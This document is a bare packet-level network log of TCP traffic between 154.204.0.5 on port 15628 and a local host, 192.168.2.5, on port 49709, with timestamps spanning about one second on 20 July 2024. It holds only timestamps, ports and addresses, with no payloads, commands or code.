Jul 20, 2024 16:15:36.288309097 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.288352013 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.294749975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.294823885 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.301974058 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.302021027 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.307655096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.307703972 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.316621065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.316667080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.333820105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.333889008 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.339425087 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.339485884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.344897985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.344955921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.350661993 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.352720022 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.369919062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.369973898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.378547907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.378602982 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.390309095 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.390367985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.400255919 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.400356054 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.405637980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.405724049 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.411012888 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.411081076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.417855024 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.417937994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.423365116 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.423440933 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.429003000 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.429075956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.434376955 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.434439898 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.439678907 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.439759016 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.445256948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.445316076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.450829983 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.450927019 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.455821991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.455884933 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.461493015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.461560011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.467186928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.467261076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.472836018 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.472914934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.479815006 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.479890108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.485405922 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.485496998 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.491328001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.491400957 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.496958971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.497046947 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.502368927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.502451897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.507591963 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.507664919 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.512650013 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.512721062 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.517697096 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.517779112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.523994923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.524056911 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.528927088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.528999090 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.554100037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.554702044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.554820061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.559245110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.559341908 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.559629917 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.559679031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.564933062 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.565006971 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.570427895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.570508003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.576041937 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.576137066 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.581388950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.581464052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.586433887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.586504936 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.592015982 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.592080116 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.597094059 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.597184896 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.612065077 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.612273932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.617255926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.617341042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.622232914 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.622301102 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.627129078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.627213001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.632026911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.632100105 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.637125969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.637190104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.642823935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.642874002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.647751093 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.647814035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.652662992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.652734995 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.657516956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.657601118 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.662492037 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.662558079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.667402029 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.667469025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.672322035 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.672394037 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.677277088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.677340984 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.682307005 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.682374001 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.687294960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.687376976 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.692250967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.692303896 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.697232962 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.697288036 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.702200890 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.710939884 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.715929031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.715995073 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.720853090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.720932961 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.725831032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.725888014 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.730834007 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.730880976 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.735771894 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.736583948 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.741518974 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.741589069 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.746509075 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.746556044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.751442909 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.751516104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.756596088 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.756649017 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.761569023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.761636019 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.766921043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.766994953 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.772031069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.772082090 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.776933908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.777255058 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.782155991 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.782221079 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.787076950 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.787130117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.791990042 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.792063951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.796936989 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.797015905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.801879883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.801934004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.807226896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.807284117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.812201023 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.812258005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.817182064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.817240953 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.822158098 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.822257996 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.827213049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.827284098 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.832437992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.832498074 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.837446928 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.837516069 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.842372894 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.842453003 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.847358942 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.847537994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.852473021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.852534056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.857359886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.857420921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.862426996 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.862484932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.867311001 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.867368937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.872337103 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.872395992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.877291918 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.877346039 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.882319927 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.882375956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.887296915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.887366056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.895796061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.895857096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.901492119 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.901549101 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.906687021 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.906740904 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.912019014 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.912075043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.917570114 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.917627096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.923326969 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.923391104 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.928375959 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.928441048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.933487892 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.957612991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.963602066 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.963661909 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.968599081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.968652010 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.974178076 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.974229097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.979145050 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.979193926 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.984550953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.984601021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.989654064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.989707947 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:36.994853020 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:36.994908094 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.000391960 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.000446081 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.005702019 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.005748034 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.010984898 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.011219978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.016608000 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.016778946 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.022195101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.022411108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.028687954 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.028882027 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.033873081 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.034209013 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.039329052 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.041487932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.046397924 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.046505928 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.051642895 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.051868916 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.057965040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.058191061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.063229084 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.063478947 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.068629980 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.068778038 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.073802948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.074110031 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.079365015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.079556942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.084609032 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.084711075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.089915037 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.111866951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.122385025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.122701883 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.128570080 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.128753901 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.134124041 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.134450912 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.139389038 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.139544964 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.144520044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.144634962 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.149976015 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.153523922 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.158478975 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.161632061 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.166888952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.167038918 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.172347069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.172590017 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.177536964 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.177664042 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.183303118 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.183496952 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.188432932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.188544035 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.193536043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.193742990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.199776888 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.199965000 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.205020905 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.206577063 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.211592913 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.211815119 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.216953039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.221723080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.229191065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.229373932 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.234353065 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.234519958 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.239638090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.239765882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.244824886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.245017052 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.250328064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.250734091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.256088972 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.256197929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.261223078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.261404991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.266275883 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.266594887 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.271405935 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.272056103 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.277019024 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.277388096 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.282568932 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.282854080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.287725925 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.287894011 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.293194056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:37.293381929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:37.299329996 CEST	15628	49709	154.204.0.5	192.168.2.5
